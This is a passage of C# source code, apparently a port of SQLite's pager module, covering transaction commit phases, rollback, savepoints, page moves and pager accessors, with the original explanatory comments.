)\" condition.\n            */\n#if !SQLITE_ENABLE_ATOMIC_WRITE\n            //# define DIRECT_MODE 0\n            bool DIRECT_MODE = false;\n            Debug.Assert(isDirectMode == false);\n            UNUSED_PARAMETER(isDirectMode);\n#else\n//# define DIRECT_MODE isDirectMode\nint DIRECT_MODE = isDirectMode;\n#endif\n\n            Debug.Assert(pPager.state >= PAGER_RESERVED);\n            if (!pPager.changeCountDone && ALWAYS(pPager.dbSize > 0))\n            {\n                PgHdr pPgHdr = null;            /* Reference to page 1 */\n                u32 change_counter;           /* Initial value of change-counter field */\n\n                Debug.Assert(!pPager.tempFile && isOpen(pPager.fd));\n\n                /* Open page 1 of the file for writing. */\n                rc = sqlite3PagerGet(pPager, 1, ref pPgHdr);\n                Debug.Assert(pPgHdr == null || rc == SQLITE_OK);\n\n                /* If page one was fetched successfully, and this function is not\n                ** operating in direct-mode, make page 1 writable.  When not in \n                ** direct mode, page 1 is always held in cache and hence the PagerGet()\n                ** above is always successful - hence the ALWAYS on rc==SQLITE_OK.\n                */\n                if (!DIRECT_MODE && ALWAYS(rc == SQLITE_OK))\n                {\n                    rc = sqlite3PagerWrite(pPgHdr);\n                }\n\n                if (rc == SQLITE_OK)\n                {\n                    /* Increment the value just read and write it back to byte 24. */\n                    change_counter = sqlite3Get4byte(pPager.dbFileVers);\n                    change_counter++;\n                    put32bits(pPgHdr.pData, 24, change_counter);\n\n                    /* If running in direct mode, write the contents of page 1 to the file. */\n                    if (DIRECT_MODE)\n                    {\n                        u8[] zBuf = pPgHdr.pData;\n                        Debug.Assert(pPager.dbFileSize > 0);\n                        rc = sqlite3OsWrite(pPager.fd, zBuf, pPager.pageSize, 0);\n\n                        if (rc == SQLITE_OK)\n                        {\n                            pPager.changeCountDone = true;\n                        }\n                    }\n                    else\n                    {\n                        pPager.changeCountDone = true;\n                    }\n                }\n\n                /* Release the page reference. */\n                sqlite3PagerUnref(pPgHdr);\n            }\n            return rc;\n        }\n\n        /*\n        ** Sync the pager file to disk. This is a no-op for in-memory files\n        ** or pages with the Pager.noSync flag set.\n        **\n        ** If successful, or called on a pager for which it is a no-op, this\n        ** function returns SQLITE_OK. Otherwise, an IO error code is returned.\n        */\n        static int sqlite3PagerSync(Pager pPager)\n        {\n            int rc;                             /* Return code */\n            Debug.Assert(\n#if SQLITE_OMIT_MEMORYDB\n0 == MEMDB\n#else\n0 == pPager.memDb\n#endif\n);\n            if (pPager.noSync)\n            {\n                rc = SQLITE_OK;\n            }\n            else\n            {\n                rc = sqlite3OsSync(pPager.fd, pPager.sync_flags);\n            }\n            return rc;\n        }\n\n        /*\n        ** Sync the database file for the pager pPager. zMaster points to the name\n        ** of a master journal file that should be written into the individual\n        ** journal file. zMaster may be NULL, which is interpreted as no master\n        ** journal (a single database transaction).\n        **\n        ** This routine ensures that:\n        **\n        **   * The database file change-counter is updated,\n        **   * the journal is synced (unless the atomic-write optimization is used),\n        **   * all dirty pages are written to the database file,\n        **   * the database file is truncated (if required), and\n        **   * the database file synced.\n        **\n        ** The only thing that remains to commit the transaction is to finalize\n        ** (delete, truncate or zero the first part of) the journal file (or\n        ** delete the master journal file if specified).\n        **\n        ** Note that if zMaster==NULL, this does not overwrite a previous value\n        ** passed to an sqlite3PagerCommitPhaseOne() call.\n        **\n        ** If the final parameter - noSync - is true, then the database file itself\n        ** is not synced. The caller must call sqlite3PagerSync() directly to\n        ** sync the database file before calling CommitPhaseTwo() to delete the\n        ** journal file in this case.\n        */\n        static int sqlite3PagerCommitPhaseOne(\n        Pager pPager,         /* Pager object */\n        string zMaster,       /* If not NULL, the master journal name */\n        bool noSync           /* True to omit the xSync on the db file */\n        )\n        {\n            int rc = SQLITE_OK;             /* Return code */\n\n            /* The dbOrigSize is never set if journal_mode=OFF */\n            Debug.Assert(pPager.journalMode != PAGER_JOURNALMODE_OFF || pPager.dbOrigSize == 0);\n\n            /* If a prior error occurred, this routine should not be called.  ROLLBACK\n            ** is the appropriate response to an error, not COMMIT.  Guard against\n            ** coding errors by repeating the prior error. */\n            if (NEVER(pPager.errCode) != 0) return pPager.errCode;\n\n            PAGERTRACE(\"DATABASE SYNC: File=%s zMaster=%s nSize=%d\\n\",\n            pPager.zFilename, zMaster, pPager.dbSize);\n\n            if (\n#if SQLITE_OMIT_MEMORYDB\n 0 != MEMDB\n#else\n 0 != pPager.memDb\n#endif\n && pPager.dbModified)\n            {\n                /* If this is an in-memory db, or no pages have been written to, or this\n                ** function has already been called, it is mostly a no-op.  However, any\n                ** backup in progress needs to be restarted.\n                */\n                sqlite3BackupRestart(pPager.pBackup);\n            }\n            else if (pPager.state != PAGER_SYNCED && pPager.dbModified)\n            {\n\n                /* The following block updates the change-counter. Exactly how it\n                ** does this depends on whether or not the atomic-update optimization\n                ** was enabled at compile time, and if this transaction meets the\n                ** runtime criteria to use the operation:\n                **\n                **    * The file-system supports the atomic-write property for\n                **      blocks of size page-size, and\n                **    * This commit is not part of a multi-file transaction, and\n                **    * Exactly one page has been modified and store in the journal file.\n                **\n                ** If the optimization was not enabled at compile time, then the\n                ** pager_incr_changecounter() function is called to update the change\n                ** counter in 'indirect-mode'. If the optimization is compiled in but\n                ** is not applicable to this transaction, call sqlite3JournalCreate()\n                ** to make sure the journal file has actually been created, then call\n                ** pager_incr_changecounter() to update the change-counter in indirect\n                ** mode.\n                **\n                ** Otherwise, if the optimization is both enabled and applicable,\n                ** then call pager_incr_changecounter() to update the change-counter\n                ** in 'direct' mode. In this case the journal file will never be\n                ** created for this transaction.\n                */\n#if SQLITE_ENABLE_ATOMIC_WRITE\nPgHdr *pPg;\nDebug.Assert( isOpen(pPager.jfd) || pPager.journalMode==PAGER_JOURNALMODE_OFF );\nif( !zMaster && isOpen(pPager.jfd)\n&& pPager.journalOff==jrnlBufferSize(pPager)\n&& pPager.dbSize>=pPager.dbFileSize\n&& (0==(pPg = sqlite3PcacheDirtyList(pPager.pPCache)) || 0==pPg.pDirty)\n){\n/* Update the db file change counter via the direct-write method. The\n** following call will modify the in-memory representation of page 1\n** to include the updated change counter and then write page 1\n** directly to the database file. Because of the atomic-write\n** property of the host file-system, this is safe.\n*/\nrc = pager_incr_changecounter(pPager, 1);\n}else{\nrc = sqlite3JournalCreate(pPager.jfd);\nif( rc==SQLITE_OK ){\nrc = pager_incr_changecounter(pPager, 0);\n}\n}\n#else\n                rc = pager_incr_changecounter(pPager, false);\n#endif\n                if (rc != SQLITE_OK) goto commit_phase_one_exit;\n\n                /* If this transaction has made the database smaller, then all pages\n                ** being discarded by the truncation must be written to the journal\n                ** file. This can only happen in auto-vacuum mode.\n                **\n                ** Before reading the pages with page numbers larger than the\n                ** current value of Pager.dbSize, set dbSize back to the value\n                ** that it took at the start of the transaction. Otherwise, the\n                ** calls to sqlite3PagerGet() return zeroed pages instead of\n                ** reading data from the database file.\n                **\n                ** When journal_mode==OFF the dbOrigSize is always zero, so this\n                ** block never runs if journal_mode=OFF.\n                */\n#if !SQLITE_OMIT_AUTOVACUUM\n                if (pPager.dbSize < pPager.dbOrigSize\n                && ALWAYS(pPager.journalMode != PAGER_JOURNALMODE_OFF)\n                )\n                {\n                    Pgno i;                                   /* Iterator variable */\n                    Pgno iSkip = PAGER_MJ_PGNO(pPager); /* Pending lock page */\n                    Pgno dbSize = pPager.dbSize;       /* Database image size */\n                    pPager.dbSize = pPager.dbOrigSize;\n                    for (i = dbSize + 1; i <= pPager.dbOrigSize; i++)\n                    {\n                        if (0 == sqlite3BitvecTest(pPager.pInJournal, i) && i != iSkip)\n                        {\n                            PgHdr pPage = null;             /* Page to journal */\n                            rc = sqlite3PagerGet(pPager, i, ref pPage);\n                            if (rc != SQLITE_OK) goto commit_phase_one_exit;\n                            rc = sqlite3PagerWrite(pPage);\n                            sqlite3PagerUnref(pPage);\n                            if (rc != SQLITE_OK) goto commit_phase_one_exit;\n                        }\n                    }\n                    pPager.dbSize = dbSize;\n                }\n#endif\n\n                /* Write the master journal name into the journal file. If a master\n        ** journal file name has already been written to the journal file,\n        ** or if zMaster is NULL (no master journal), then this call is a no-op.\n        */\n                rc = writeMasterJournal(pPager, zMaster);\n                if (rc != SQLITE_OK) goto commit_phase_one_exit;\n\n                /* Sync the journal file. If the atomic-update optimization is being\n                ** used, this call will not create the journal file or perform any\n                ** real IO.\n                */\n                rc = syncJournal(pPager);\n                if (rc != SQLITE_OK) goto commit_phase_one_exit;\n\n                /* Write all dirty pages to the database file. */\n                rc = pager_write_pagelist(sqlite3PcacheDirtyList(pPager.pPCache));\n                if (rc != SQLITE_OK)\n                {\n                    Debug.Assert(rc != SQLITE_IOERR_BLOCKED);\n                    goto commit_phase_one_exit;\n                }\n                sqlite3PcacheCleanAll(pPager.pPCache);\n\n                /* If the file on disk is not the same size as the database image,\n                ** then use pager_truncate to grow or shrink the file here.\n                */\n                if (pPager.dbSize != pPager.dbFileSize)\n                {\n                    Pgno nNew = (Pgno)(pPager.dbSize - (pPager.dbSize == PAGER_MJ_PGNO(pPager) ? 1 : 0));\n                    Debug.Assert(pPager.state >= PAGER_EXCLUSIVE);\n                    rc = pager_truncate(pPager, nNew);\n                    if (rc != SQLITE_OK) goto commit_phase_one_exit;\n                }\n\n                /* Finally, sync the database file. */\n                if (!pPager.noSync && !noSync)\n                {\n                    rc = sqlite3OsSync(pPager.fd, pPager.sync_flags);\n                }\n                IOTRACE(\"DBSYNC %p\\n\", pPager);\n                pPager.state = PAGER_SYNCED;\n            }\n\n        commit_phase_one_exit:\n            return rc;\n        }\n\n\n        /*\n        ** When this function is called, the database file has been completely\n        ** updated to reflect the changes made by the current transaction and\n        ** synced to disk. The journal file still exists in the file-system\n        ** though, and if a failure occurs at this point it will eventually\n        ** be used as a hot-journal and the current transaction rolled back.\n        **\n        ** This function finalizes the journal file, either by deleting,\n        ** truncating or partially zeroing it, so that it cannot be used\n        ** for hot-journal rollback. Once this is done the transaction is\n        ** irrevocably committed.\n        **\n        ** If an error occurs, an IO error code is returned and the pager\n        ** moves into the error state. Otherwise, SQLITE_OK is returned.\n        */\n        static int sqlite3PagerCommitPhaseTwo(Pager pPager)\n        {\n            int rc = SQLITE_OK;                 /* Return code */\n\n            /* This routine should not be called if a prior error has occurred.\n            ** But if (due to a coding error elsewhere in the system) it does get\n            ** called, just return the same error code without doing anything. */\n            if (NEVER(pPager.errCode) != 0) return pPager.errCode;\n\n            /* This function should not be called if the pager is not in at least\n            ** PAGER_RESERVED state. And indeed SQLite never does this. But it is\n            ** nice to have this defensive test here anyway.\n            */\n            if (NEVER(pPager.state < PAGER_RESERVED)) return SQLITE_ERROR;\n\n            /* An optimization. If the database was not actually modified during\n            ** this transaction, the pager is running in exclusive-mode and is\n            ** using persistent journals, then this function is a no-op.\n            **\n            ** The start of the journal file currently contains a single journal\n            ** header with the nRec field set to 0. If such a journal is used as\n            ** a hot-journal during hot-journal rollback, 0 changes will be made\n            ** to the database file. So there is no need to zero the journal\n            ** header. Since the pager is in exclusive mode, there is no need\n            ** to drop any locks either.\n            */\n            if (pPager.dbModified == false && pPager.exclusiveMode\n            && pPager.journalMode == PAGER_JOURNALMODE_PERSIST\n            )\n            {\n                Debug.Assert(pPager.journalOff == JOURNAL_HDR_SZ(pPager));\n                return SQLITE_OK;\n            }\n            PAGERTRACE(\"COMMIT %d\\n\", PAGERID(pPager));\n            Debug.Assert(pPager.state == PAGER_SYNCED ||\n#if SQLITE_OMIT_MEMORYDB\n 1 == MEMDB\n#else\n 1 == pPager.memDb\n#endif\n || !pPager.dbModified);\n            rc = pager_end_transaction(pPager, pPager.setMaster);\n            return pager_error(pPager, rc);\n        }\n\n        /*\n        ** Rollback all changes. The database falls back to PAGER_SHARED mode.\n        **\n        ** This function performs two tasks:\n        **\n        **   1) It rolls back the journal file, restoring all database file and\n        **      in-memory cache pages to the state they were in when the transaction\n        **      was opened, and\n        **   2) It finalizes the journal file, so that it is not used for hot\n        **      rollback at any point in the future.\n        **\n        ** subject to the following qualifications:\n        **\n        ** * If the journal file is not yet open when this function is called,\n        **   then only (2) is performed. In this case there is no journal file\n        **   to roll back.\n        **\n        ** * If in an error state other than SQLITE_FULL, then task (1) is\n        **   performed. If successful, task (2). Regardless of the outcome\n        **   of either, the error state error code is returned to the caller\n        **   (i.e. either SQLITE_IOERR or SQLITE_CORRUPT).\n        **\n        ** * If the pager is in PAGER_RESERVED state, then attempt (1). Whether\n        **   or not (1) is succussful, also attempt (2). If successful, return\n        **   SQLITE_OK. Otherwise, enter the error state and return the first\n        **   error code encountered.\n        **\n        **   In this case there is no chance that the database was written to.\n        **   So is safe to finalize the journal file even if the playback\n        **   (operation 1) failed. However the pager must enter the error state\n        **   as the contents of the in-memory cache are now suspect.\n        **\n        ** * Finally, if in PAGER_EXCLUSIVE state, then attempt (1). Only\n        **   attempt (2) if (1) is successful. Return SQLITE_OK if successful,\n        **   otherwise enter the error state and return the error code from the\n        **   failing operation.\n        **\n        **   In this case the database file may have been written to. So if the\n        **   playback operation did not succeed it would not be safe to finalize\n        **   the journal file. It needs to be left in the file-system so that\n        **   some other process can use it to restore the database state (by\n        **   hot-journal rollback).\n        */\n        static int sqlite3PagerRollback(Pager pPager)\n        {\n            int rc = SQLITE_OK;                  /* Return code */\n            PAGERTRACE(\"ROLLBACK %d\\n\", PAGERID(pPager));\n            if (!pPager.dbModified || !isOpen(pPager.jfd))\n            {\n                rc = pager_end_transaction(pPager, pPager.setMaster);\n            }\n            else if (pPager.errCode != 0 && pPager.errCode != SQLITE_FULL)\n            {\n                if (pPager.state >= PAGER_EXCLUSIVE)\n                {\n                    pager_playback(pPager, 0);\n                }\n                rc = pPager.errCode;\n            }\n            else\n            {\n                if (pPager.state == PAGER_RESERVED)\n                {\n                    int rc2;\n                    rc = pager_playback(pPager, 0);\n                    rc2 = pager_end_transaction(pPager, pPager.setMaster);\n                    if (rc == SQLITE_OK)\n                    {\n                        rc = rc2;\n                    }\n                }\n                else\n                {\n                    rc = pager_playback(pPager, 0);\n                }\n\n                if (\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n )\n                {\n                    pPager.dbSizeValid = false;\n                }\n                /* If an error occurs during a ROLLBACK, we can no longer trust the pager\n                ** cache. So call pager_error() on the way out to make any error\n                ** persistent.\n                */\n                rc = pager_error(pPager, rc);\n            }\n            return rc;\n        }\n\n        /*\n        ** Return TRUE if the database file is opened read-only.  Return FALSE\n        ** if the database is (in theory) writable.\n        */\n        static bool sqlite3PagerIsreadonly(Pager pPager)\n        {\n            return pPager.readOnly;\n        }\n\n        /*\n        ** Return the number of references to the pager.\n        */\n        static int sqlite3PagerRefcount(Pager pPager)\n        {\n            return sqlite3PcacheRefCount(pPager.pPCache);\n        }\n\n        /*\n        ** Return the number of references to the specified page.\n        */\n        static int sqlite3PagerPageRefcount(DbPage pPage)\n        {\n            return sqlite3PcachePageRefcount(pPage);\n        }\n\n\n#if SQLITE_TEST\n    /*\n** This routine is used for testing and analysis only.\n*/\n    static int[] sqlite3PagerStats( Pager pPager )\n    {\n      int[] a = new int[11];\n      a[0] = sqlite3PcacheRefCount( pPager.pPCache );\n      a[1] = sqlite3PcachePagecount( pPager.pPCache );\n      a[2] = sqlite3PcacheGetCachesize( pPager.pPCache );\n      a[3] = pPager.dbSizeValid ? (int)pPager.dbSize : -1;\n      a[4] = pPager.state;\n      a[5] = pPager.errCode;\n      a[6] = pPager.nHit;\n      a[7] = pPager.nMiss;\n      a[8] = 0;  /* Used to be pPager.nOvfl */\n      a[9] = pPager.nRead;\n      a[10] = pPager.nWrite;\n      return a;\n    }\n#endif\n\n        /*\n    ** Return true if this is an in-memory pager.\n    */\n        static bool sqlite3PagerIsMemdb(Pager pPager)\n        {\n#if SQLITE_OMIT_MEMORYDB\n      return MEMDB != 0;\n#else\n            return pPager.memDb != 0;\n#endif\n        }\n\n        /*\n        ** Check that there are at least nSavepoint savepoints open. If there are\n        ** currently less than nSavepoints open, then open one or more savepoints\n        ** to make up the difference. If the number of savepoints is already\n        ** equal to nSavepoint, then this function is a no-op.\n        **\n        ** If a memory allocation fails, SQLITE_NOMEM is returned. If an error\n        ** occurs while opening the sub-journal file, then an IO error code is\n        ** returned. Otherwise, SQLITE_OK.\n        */\n        static int sqlite3PagerOpenSavepoint(Pager pPager, int nSavepoint)\n        {\n            int rc = SQLITE_OK;                      /* Return code */\n            int nCurrent = pPager.nSavepoint;        /* Current number of savepoints */\n\n            if (nSavepoint > nCurrent && pPager.useJournal != 0)\n            {\n                int ii;                 /* Iterator variable */\n                PagerSavepoint[] aNew;  /* New Pager.aSavepoint array */\n\n                /* Either there is no active journal or the sub-journal is open or\n                ** the journal is always stored in memory */\n                Debug.Assert(pPager.nSavepoint == 0 || isOpen(pPager.sjfd) ||\n                pPager.journalMode == PAGER_JOURNALMODE_MEMORY);\n\n                /* Grow the Pager.aSavepoint array using realloc(). Return SQLITE_NOMEM\n                ** if the allocation fails. Otherwise, zero the new portion in case a\n                ** malloc failure occurs while populating it in the for(...) loop below.\n                */\n                //aNew = (PagerSavepoint *)sqlite3Realloc(\n                //    pPager->aSavepoint, sizeof(PagerSavepoint)*nSavepoint\n                //);\n                Array.Resize(ref pPager.aSavepoint, nSavepoint);\n                aNew = pPager.aSavepoint;\n                //if( null==aNew ){\n                //  return SQLITE_NOMEM;\n                //}\n                // memset(&aNew[nCurrent], 0, (nSavepoint-nCurrent) * sizeof(PagerSavepoint));\n                // pPager.aSavepoint = aNew;\n                pPager.nSavepoint = nSavepoint;\n\n                /* Populate the PagerSavepoint structures just allocated. */\n                for (ii = nCurrent; ii < nSavepoint; ii++)\n                {\n                    Debug.Assert(pPager.dbSizeValid);\n                    aNew[ii] = new PagerSavepoint();\n                    aNew[ii].nOrig = pPager.dbSize;\n                    if (isOpen(pPager.jfd) && ALWAYS(pPager.journalOff > 0))\n                    {\n                        aNew[ii].iOffset = pPager.journalOff;\n                    }\n                    else\n                    {\n                        aNew[ii].iOffset = (int)JOURNAL_HDR_SZ(pPager);\n                    }\n                    aNew[ii].iSubRec = pPager.nSubRec;\n                    aNew[ii].pInSavepoint = sqlite3BitvecCreate(pPager.dbSize);\n                    if (null == aNew[ii].pInSavepoint)\n                    {\n                        return SQLITE_NOMEM;\n                    }\n                }\n\n                /* Open the sub-journal, if it is not already opened. */\n                rc = openSubJournal(pPager);\n                assertTruncateConstraint(pPager);\n            }\n\n            return rc;\n        }\n\n        /*\n        ** This function is called to rollback or release (commit) a savepoint.\n        ** The savepoint to release or rollback need not be the most recently\n        ** created savepoint.\n        **\n        ** Parameter op is always either SAVEPOINT_ROLLBACK or SAVEPOINT_RELEASE.\n        ** If it is SAVEPOINT_RELEASE, then release and destroy the savepoint with\n        ** index iSavepoint. If it is SAVEPOINT_ROLLBACK, then rollback all changes\n        ** that have occurred since the specified savepoint was created.\n        **\n        ** The savepoint to rollback or release is identified by parameter\n        ** iSavepoint. A value of 0 means to operate on the outermost savepoint\n        ** (the first created). A value of (Pager.nSavepoint-1) means operate\n        ** on the most recently created savepoint. If iSavepoint is greater than\n        ** (Pager.nSavepoint-1), then this function is a no-op.\n        **\n        ** If a negative value is passed to this function, then the current\n        ** transaction is rolled back. This is different to calling\n        ** sqlite3PagerRollback() because this function does not terminate\n        ** the transaction or unlock the database, it just restores the\n        ** contents of the database to its original state.\n        **\n        ** In any case, all savepoints with an index greater than iSavepoint\n        ** are destroyed. If this is a release operation (op==SAVEPOINT_RELEASE),\n        ** then savepoint iSavepoint is also destroyed.\n        **\n        ** This function may return SQLITE_NOMEM if a memory allocation fails,\n        ** or an IO error code if an IO error occurs while rolling back a\n        ** savepoint. If no errors occur, SQLITE_OK is returned.\n        */\n        static int sqlite3PagerSavepoint(Pager pPager, int op, int iSavepoint)\n        {\n            int rc = SQLITE_OK;\n\n            Debug.Assert(op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK);\n            Debug.Assert(iSavepoint >= 0 || op == SAVEPOINT_ROLLBACK);\n\n            if (iSavepoint < pPager.nSavepoint)\n            {\n                int ii;        /* Iterator variable */\n                int nNew;      /* Number of remaining savepoints after this op. */\n\n                /* Figure out how many savepoints will still be active after this\n                ** operation. Store this value in nNew. Then free resources associated\n                ** with any savepoints that are destroyed by this operation.\n                */\n                nNew = iSavepoint + ((op == SAVEPOINT_ROLLBACK) ? 1 : 0);\n                for (ii = nNew; ii < pPager.nSavepoint; ii++)\n                {\n                    sqlite3BitvecDestroy(ref pPager.aSavepoint[ii].pInSavepoint);\n                }\n                pPager.nSavepoint = nNew;\n\n                /* If this is a rollback operation, playback the specified savepoint.\n                ** If this is a temp-file, it is possible that the journal file has\n                ** not yet been opened. In this case there have been no changes to\n                ** the database file, so the playback operation can be skipped.\n                */\n                if (op == SAVEPOINT_ROLLBACK && isOpen(pPager.jfd))\n                {\n                    PagerSavepoint pSavepoint = (nNew == 0) ? null : pPager.aSavepoint[nNew - 1];\n                    rc = pagerPlaybackSavepoint(pPager, pSavepoint);\n                    Debug.Assert(rc != SQLITE_DONE);\n                }\n\n                /* If this is a release of the outermost savepoint, truncate\n                ** the sub-journal to zero bytes in size. */\n                if (nNew == 0 && op == SAVEPOINT_RELEASE && isOpen(pPager.sjfd))\n                {\n                    Debug.Assert(rc == SQLITE_OK);\n                    rc = sqlite3OsTruncate(pPager.sjfd, 0);\n                    pPager.nSubRec = 0;\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** Return the full pathname of the database file.\n        */\n        static string sqlite3PagerFilename(Pager pPager)\n        {\n            return pPager.zFilename;\n        }\n\n        /*\n        ** Return the VFS structure for the pager.\n        */\n        static sqlite3_vfs sqlite3PagerVfs(Pager pPager)\n        {\n            return pPager.pVfs;\n        }\n\n        /*\n        ** Return the file handle for the database file associated\n        ** with the pager.  This might return NULL if the file has\n        ** not yet been opened.\n        */\n        static sqlite3_file sqlite3PagerFile(Pager pPager)\n        {\n            return pPager.fd;\n        }\n\n        /*\n        ** Return the full pathname of the journal file.\n        */\n        static string sqlite3PagerJournalname(Pager pPager)\n        {\n            return pPager.zJournal;\n        }\n\n        /*\n        ** Return true if fsync() calls are disabled for this pager.  Return FALSE\n        ** if fsync()s are executed normally.\n        */\n        static bool sqlite3PagerNosync(Pager pPager)\n        {\n            return pPager.noSync;\n        }\n\n#if SQLITE_HAS_CODEC\n/*\n** Set or retrieve the codec for this pager\n*/\nstatic void sqlite3PagerSetCodec(\nPager *pPager,\nvoid *(*xCodec)(void*,void*,Pgno,int),\nvoid (*xCodecSizeChng)(void*,int,int),\nvoid (*xCodecFree)(void*),\nvoid *pCodec\n){\nif( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec);\npPager->xCodec = xCodec;\npPager->xCodecSizeChng = xCodecSizeChng;\npPager->xCodecFree = xCodecFree;\npPager->pCodec = pCodec;\npagerReportSize(pPager);\n}\nstatic void *sqlite3PagerGetCodec(Pager *pPager){\nreturn pPager->pCodec;\n}\n#endif\n\n#if !SQLITE_OMIT_AUTOVACUUM\n        /*\n    ** Move the page pPg to location pgno in the file.\n    **\n    ** There must be no references to the page previously located at\n    ** pgno (which we call pPgOld) though that page is allowed to be\n    ** in cache.  If the page previously located at pgno is not already\n    ** in the rollback journal, it is not put there by by this routine.\n    **\n    ** References to the page pPg remain valid. Updating any\n    ** meta-data associated with pPg (i.e. data stored in the nExtra bytes\n    ** allocated along with the page) is the responsibility of the caller.\n    **\n    ** A transaction must be active when this routine is called. It used to be\n    ** required that a statement transaction was not active, but this restriction\n    ** has been removed (CREATE INDEX needs to move a page when a statement\n    ** transaction is active).\n    **\n    ** If the fourth argument, isCommit, is non-zero, then this page is being\n    ** moved as part of a database reorganization just before the transaction\n    ** is being committed. In this case, it is guaranteed that the database page\n    ** pPg refers to will not be written to again within this transaction.\n    **\n    ** This function may return SQLITE_NOMEM or an IO error code if an error\n    ** occurs. Otherwise, it returns SQLITE_OK.\n    */\n        static int sqlite3PagerMovepage(Pager pPager, DbPage pPg, u32 pgno, int isCommit)\n        {\n            PgHdr pPgOld;                /* The page being overwritten. */\n            u32 needSyncPgno = 0;        /* Old value of pPg.pgno, if sync is required */\n            int rc;                      /* Return code */\n            Pgno origPgno;               /* The original page number */\n\n            Debug.Assert(pPg.nRef > 0);\n\n            /* If the page being moved is dirty and has not been saved by the latest\n            ** savepoint, then save the current contents of the page into the\n            ** sub-journal now. This is required to handle the following scenario:\n            **\n            **   BEGIN;\n            **     <journal page X, then modify it in memory>\n            **     SAVEPOINT one;\n            **       <Move page X to location Y>\n            **     ROLLBACK TO one;\n            **\n            ** If page X were not written to the sub-journal here, it would not\n            ** be possible to restore its contents when the \"ROLLBACK TO one\"\n            ** statement were is processed.\n            **\n            ** subjournalPage() may need to allocate space to store pPg.pgno into\n            ** one or more savepoint bitvecs. This is the reason this function\n            ** may return SQLITE_NOMEM.\n            */\n            if ((pPg.flags & PGHDR_DIRTY) != 0\n            && subjRequiresPage(pPg)\n            && SQLITE_OK != (rc = subjournalPage(pPg))\n            )\n            {\n                return rc;\n            }\n\n            PAGERTRACE(\"MOVE %d page %d (needSync=%d) moves to %d\\n\",\n            PAGERID(pPager), pPg.pgno, (pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0, pgno);\n            IOTRACE(\"MOVE %p %d %d\\n\", pPager, pPg.pgno, pgno);\n\n            /* If the journal needs to be sync()ed before page pPg.pgno can\n            ** be written to, store pPg.pgno in local variable needSyncPgno.\n            **\n            ** If the isCommit flag is set, there is no need to remember that\n            ** the journal needs to be sync()ed before database page pPg.pgno\n            ** can be written to. The caller has already promised not to write to it.\n            */\n            if (((pPg.flags & PGHDR_NEED_SYNC) != 0) && 0 == isCommit)\n            {\n                needSyncPgno = pPg.pgno;\n                Debug.Assert(pageInJournal(pPg) || pPg.pgno > pPager.dbOrigSize);\n                Debug.Assert((pPg.flags & PGHDR_DIRTY) != 0);\n                Debug.Assert(pPager.needSync);\n            }\n\n            /* If the cache contains a page with page-number pgno, remove it\n            ** from its hash chain. Also, if the PgHdr.needSync was set for\n            ** page pgno before the 'move' operation, it needs to be retained\n            ** for the page moved there.\n            */\n            pPg.flags &= ~PGHDR_NEED_SYNC;\n            pPgOld = pager_lookup(pPager, pgno);\n            Debug.Assert(null == pPgOld || pPgOld.nRef == 1);\n            if (pPgOld != null)\n            {\n                pPg.flags |= (pPgOld.flags & PGHDR_NEED_SYNC);\n                sqlite3PcacheDrop(pPgOld);\n            }\n\n            origPgno = pPg.pgno;\n            sqlite3PcacheMove(pPg, pgno);\n            sqlite3PcacheMakeDirty(pPg);\n            pPager.dbModified = true;\n\n            if (needSyncPgno != 0)\n            {\n                /* If needSyncPgno is non-zero, then the journal file needs to be\n                ** sync()ed before any data is written to database file page needSyncPgno.\n                ** Currently, no such page exists in the page-cache and the\n                ** \"is journaled\" bitvec flag has been set. This needs to be remedied by\n                ** loading the page into the pager-cache and setting the PgHdr.needSync\n                ** flag.\n                **\n                ** If the attempt to load the page into the page-cache fails, (due\n                ** to a malloc() or IO failure), clear the bit in the pInJournal[]\n                ** array. Otherwise, if the page is loaded and written again in\n                ** this transaction, it may be written to the database file before\n                ** it is synced into the journal file. This way, it may end up in\n                ** the journal file twice, but that is not a problem.\n                **\n                ** The sqlite3PagerGet() call may cause the journal to sync. So make\n                ** sure the Pager.needSync flag is set too.\n                */\n                PgHdr pPgHdr = null;\n                Debug.Assert(pPager.needSync);\n                rc = sqlite3PagerGet(pPager, needSyncPgno, ref pPgHdr);\n                if (rc != SQLITE_OK)\n                {\n                    if (needSyncPgno <= pPager.dbOrigSize)\n                    {\n                        Debug.Assert(pPager.pTmpSpace != null);\n                        u32[] pTemp = new u32[pPager.pTmpSpace.Length];\n                        sqlite3BitvecClear(pPager.pInJournal, needSyncPgno, pTemp);//pPager.pTmpSpace );\n                    }\n                    return rc;\n                }\n                pPager.needSync = true;\n                Debug.Assert(pPager.noSync == false &&\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n );\n                pPgHdr.flags |= PGHDR_NEED_SYNC;\n                sqlite3PcacheMakeDirty(pPgHdr);\n                sqlite3PagerUnref(pPgHdr);\n            }\n\n            /*\n            ** For an in-memory database, make sure the original page continues\n            ** to exist, in case the transaction needs to roll back.  We allocate\n            ** the page now, instead of at rollback, because we can better deal\n            ** with an out-of-memory error now.  Ticket #3761.\n            */\n            if (\n#if SQLITE_OMIT_MEMORYDB\nMEMDB != 0\n#else\n pPager.memDb != 0\n#endif\n )\n            {\n                DbPage pNew = null;\n                rc = sqlite3PagerAcquire(pPager, origPgno, ref pNew, 1);\n                if (rc != SQLITE_OK)\n                {\n                    sqlite3PcacheMove(pPg, origPgno);\n                    return rc;\n                }\n                sqlite3PagerUnref(pNew);\n            }\n            return SQLITE_OK;\n        }\n#endif\n\n        /*\n    ** Return a pointer to the data for the specified page.\n    */\n        static byte[] sqlite3PagerGetData(DbPage pPg)\n        {\n            Debug.Assert(pPg.nRef > 0 || pPg.pPager.memDb != 0);\n            return pPg.pData;\n        }\n\n        /*\n        ** Return a pointer to the Pager.nExtra bytes of \"extra\" space\n        ** allocated along with the specified page.\n        */\n        static MemPage sqlite3PagerGetExtra(DbPage pPg)\n        {\n            return pPg.pExtra;\n        }\n\n        /*\n        ** Get/set the locking-mode for this pager. Parameter eMode must be one\n        ** of PAGER_LOCKINGMODE_QUERY, PAGER_LOCKINGMODE_NORMAL or\n        ** PAGER_LOCKINGMODE_EXCLUSIVE. If the parameter is not _QUERY, then\n        ** the locking-mode is set to the value specified.\n        **\n        ** The returned value is either PAGER_LOCKINGMODE_NORMAL or\n        ** PAGER_LOCKINGMODE_EXCLUSIVE, indicating the current (possibly updated)\n    